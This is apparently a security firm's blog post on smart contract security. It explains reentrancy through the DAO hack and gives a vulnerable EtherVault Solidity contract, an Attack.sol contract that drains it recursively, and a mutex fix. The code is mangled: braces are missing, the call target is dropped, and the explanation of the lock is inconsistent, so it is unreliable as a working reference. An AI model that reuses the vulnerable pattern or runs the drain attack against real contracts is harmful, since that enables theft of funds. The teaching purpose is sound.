Introduction to Smart Contract Security and Decentralized Web Applications


The integration of blockchain tech to the web application ecosystem has enabled developers to create decentralized web applications. To communicate with the blockchain, web applications interact with smart contracts. Because of this, smart contract security is an application security concern. Pulling from our blockchain research and decades of application security testing experience, in this blog we will explore risks affecting smart contracts, smart contract best practices, and take a deep dive into reentrancy, a devastating smart contract vulnerability.

Introduction to Smart Contract Security and Decentralized Web Applications

The influence of blockchain technology is too great to ignore. One of the most compelling developments is smart contract integration within certain blockchains such as Ethereum and Solana. Simply put, a smart contract is code stored in memory on a blockchain. Its functions are executed automatically when predetermined conditions occur, much like a vending machine [source].

Once deployed, a smart contract inherits the decentralized properties of the blockchain it is deployed on. As a result, smart contracts are decentralized programs that execute functions when specific conditions are met. When deployed correctly, contracts cannot be tampered with to behave unexpectedly.

Due to their robust nature, smart contracts can be used to perform tasks as a neutral entity between individuals or organizations. Examples of such tasks are loans, voting, or even publishing highly censored content.

For example, the following Ethereum smart contract written in Solidity serves as a vote counter. Please note, that this is example code and therefore is missing critical authorization checks. This code should never be used for anything other than an example for education.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Vote {
    int private Choice1 = 0;
    function VoteChoice1() public {
        Choice1 += 1;
    int private Choice2 = 0;
    function VoteChoice2() public {
        Choice2 += 1;

The contract contains two functions VoteChoice1() and VoteChoice2(). When VoteChoice1() is called, the state variable Choice1 is positively incremented by a value of 1. Respectively, Choice2 is positively incremented by a value of 1 whenVoteChoice2() is called. When deployed safely, a contract similar to this example contract can be used to keep track of votes for an organization. 

Smart contract functions are commonly called via JavaScript libraries such as Web3.js and Solana-Web3.js (web3 referring to an internet with a structure dependent on blockchain technology). The creation of smart contracts and libraries that interact with smart contracts, has enabled developers to create decentralized applications, also known as dApps.

Powered by smart contracts, dApps leverage the decentralized nature of the blockchain to automate actions that originally depended on third party moderators to complete. Additionally, these applications can have a user-friendly interface, drawing a large audience of users. For example, Uniswap enables users to exchange cryptocurrencies without the intervention of a third party. In this scenario, smart contracts handle the logistics of swapping cryptocurrencies. In addition, a user-friendly web application makes it possible for users to execute the smart contract functions by calling JavaScript functions with a click of a button.

With the introduction of blockchains in the web application ecosystem, dApp users can enjoy egalitarian benefits [source] associated with decentralization. However, no system is immune to exploitation. 

Smart contracts are programmed to moderate critical transactions between individuals or organizations. Inevitably opportunistic hackers will scour smart contracts for vulnerabilities. In some scenarios, smart contract vulnerabilities have led to millions of dollars worth of crypto currencies being stolen, and the organizations depending on those smart contracts devastated.

The following chart demonstrates that at the time of posting this article 22.45% of the total Ether supply is currently stored in Ethereum smart contracts. Calculating the total value of funds stored in Ethereum smart contracts is a difficult task, as Ethereum smart contracts can control more assets than just Ether. For example, smart controls can store assets such as ERC-20 (such as stable coins) and ERC-721 (non-fungible tokens) [source].

You will notice in May 2016 there was a huge spike in the amount of Ether stored in smart contracts. This was a result of the establishment of the DAO (Decentralized Autonomous Organization) [source]. The DAO had an objective to provide a new decentralized business model for organizing both commercial and non-profit enterprises [source]. This organization leveraged Ethereum smart contracts to manage funds controlled by the organization. 

The spike shown in the chart is followed by a crash in July of 2016. This was a result of the exploitation of a smart contract vulnerability that drained a third of the DAOs total Ether. The Ethereum community controversially decided to hard-fork the Ethereum blockchain and restore virtually all funds to the original contract. The hard-fork was a major change to the Ethereum blockchain in which the blockchain was rewinded to the point prior to funds being transfer out of the DAO’s control [source]. This decision was ultimately damaging to Ethereum’s reputation as a “decentralized and immutable” entity as an organization was able to change the ledger.

As of now, the amount of Ether locked in smart contracts is approaching a similar level as June of 2016. However, smart contract hackers persist as a severe threat to organizations and individuals invested in smart contracts. Within the past few months of publishing this blog, hundreds of millions of dollars have been stolen by hackers exploiting vulnerabilities in smart contracts. 

Most recently, an attacker exploited a bug in a smart contract to steal ~$76 million worth of tokens from the Beanstalk lending platform [source]. During this blog post, we will explore the vulnerability that led to the infamous DAO attack in detail. We will also explore remediation, to prevent similar attacks on the blockchain.

Smart Contract Security from the Eyes of a Web Application Hacker

Ultimately, web applications are tools for sending, receiving, storing, and processing data. To exploit web applications, attackers will inject malicious data to force the application to behave in unexpected ways. This unexpected behavior could allow a series of attacks, Remote Code Execution (RCE) often being the most dangerous (see: Log4Shell) This is because, RCE enables an attacker to take complete control over the server hosting the web application. Since the web application is centralized, once an attacker has control over the server, the attacker can access all the application’s data and call any of the application’s functions. If an attacker has RCE on a banking application, that attacker has the ability to transfer money anywhere they wish.

With the introduction of smart contracts to the web application ecosystem the goal of attackers changes completely. Smart contracts now control critical functionality, such as the transfer of funds and authentication/authorization. Smart contract code itself is compiled and stored on the blockchain and executed inside a runtime environment on blockchain nodes. Therefore, an attacker’s focus shifts from exploiting RCE via data confusion, to abusing variables stored in the contract and outcomes on the blockchain. Overall, when exploiting dApps and smart contracts attackers are interested in the assets (coins or NFTs) that the contract controls, and the internal state that is used to allow certain outcomes (transactions) on the chain.


Reentrancy is a vulnerability that occurs when a victim contract recursively calls an external, untrusted function that sends assets to the external contract. A contract is vulnerable to reentrancy if the balance of the attacker contract’s assets are not updated before the function that sends funds is executed. 

To better understand this vulnerability, imagine you are going to the bank, and you ask a banker to withdraw $100 from your account. After you pocket the $100, you quickly ask the banker to withdraw $100 again. Since you immediately asked for another $100, the banker forgets to update your checking account balance to reflect your first withdrawal. You repeat this, until the bank runs out of money. 

Essentially an attacker is causing an outcome to occur that depends on a check, but the outcome can occur multiple times before the parameters which defines the validity of the check is updated. Let’s look at an example of a reentrancy vulnerability in a Solidity contract. Within the contract, there are comments detailing the purpose of each line of code.


// Define the Solidity compiler version to be used.
pragma solidity ^0.8.13; 

contract EtherVault {
// Mapping address to an unsigned integer. This is an 
// internal data structure that is used to record the balance 
// of Ether the addresses own. 
    mapping(address => uint) public contract_balance;

// Create a payable function, that contains a counter variable. 
// When an Ethereum address adds Ether to the contract by calling 
// this function, the counter records how much Ether that address owns. 
    function deposit() public payable {
        contract_balance[msg.sender] += msg.value;

	// A function is created to remove funds from the 
	// EtherVault contract. The function accepts an _amount 
	// argument. This argument is the amount of funds the caller 
	// wishes to remove from the contract. 
    function withdraw(uint _amount) public {
        uint _amount = contract_balance[msg.sender];

        // In order to execute this function, the caller must 
	// withdraw more than 0 Ether.
        require(_amount > 0);

        // msg.sender calls out to the msg.sender contract. This 
	// enables an attacker contract to execute EtherVault code 
	// via a fallback function. The bug lies here. 
        (bool send, ) ={value: _amount}(""); 
        require(send, "Failed to send");

        // Once the funds are transferred to the withdrawing Ethereum 
	// address, the address balance updated to reflect that funds 
	// have been withdrawn. 
        contract_balance[msg.sender] -= _amount;

    // Basic helper function to check address balances. 
    function getBalance() public view returns (uint) {
        return address(this).balance;

According to the latest Solidity documentation, when a contract receives Ether “either the receive Ether or fallback function is executed” [source]. Because of this, we can create a malicious smart contract called Attack.sol that contains a fallback function and that recursively calls the EtherVault.sol withdraw function. 

The victim EtherVault.sol contract does not update the contract_balance state variable until after Ether is sent. As a result, the attack.sol’s recursive withdraw call is allowed to take Ether from EtherVault.sol until the balance is less than 1 Ether.


pragma solidity 0.8.13;
	// Import the victim contract so we can call its function 
	// within the Attack contract. 
import "./EtherVault.sol";

contract Attack {

    // Declare a public state variable, referencing the address of 
    // the etherVault 
    EtherVault public etherVault;

constructor(address _etherVaultAddress) public {

        // Point the public state instance variable to the address 
        // of the EtherVault
        etherVault = EtherVault(_etherVaultAddress);

    function attack() external payable {
        require(msg.value >= 1 ether);

        // Call the EtherVault contract’s deposit function, passing 
        // an arbitrary amount of Ether as an argument.
        etherVault.deposit{value: msg.value}();

        // Once the Ether is given to the EtherVault contract, 
        // immediately withdraw 1 Ether. This will trigger the 
        // fallback function to execute. 
        etherVault.withdraw(1 ether);

    // Fallback is called when EtherVault sends Ether to this 
    // contract.
fallback() external payable {

        // This IF statement recursively withdraws ETH from the 
        // EtherVault contract until the contract is empty. 
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdraw(1 ether);

    // Helper function to check the balance of the Attack contract.
    function getBalance() public view returns (uint) {
        return address(this).balance;

Here is a visualization of the attack:


To remediate EtherVault.sol, we need to ensure that Attack.sol (or any other external contract) cannot call the withdraw() function without updating the contract_balance state variable [source].

The most sure-fire way to do this is using a mutex (mutually exclusive flag). This can best be described using the following analogy. 

Imagine you are in a heated argument with a group of people. Everyone is talking over each other, and nothing is getting done. To resolve this issue, you introduce a Speaking Totem. With the introduction of this object, the only person allowed to speak is the one who holds the Speaking Totem. Now, order is restored since there is only one voice speaking at a time. The following is a basic implementation of a mutex modifier in the EtherVault.sol contract.

    function withdraw() public {

        require(!lock, "Cannot withdraw while another withdrawal 
is processing");
        lock = true;

        uint bal = contract_balance[msg.sender];
        require(bal > 0);

        (bool send, ) ={value: bal}("");
        require(send, "Failed to send");
        contract_balance[msg.sender] = 0;

	  lock = false;

The require statement on line 3 ensures that the lock variable is set to false to execute the call() function responsible for sending Ether. The lock variable is then immediately set to true when Ether is sent. Ensuring that the contract cannot be recursively executed by the Attack.sol contract’s fallback function. Then, after the contract_balance variable is set to 0, reflect the withdrawal. The lock function is set to true again, allowing the withdraw() function to be executed again.

Conclusion statement 

As more organizations integrate blockchain services within the web application stack, it’s critical that smart contract security vulnerabilities are thoroughly understood. By understanding the methods used by attackers to exploit smart contracts, developers are empowered to write code that is more resilient to exploitation. 

Want to continue the discussion around smart contract and blockchain security? Contact NetSPI:

Discover why security operations teams choose NetSPI.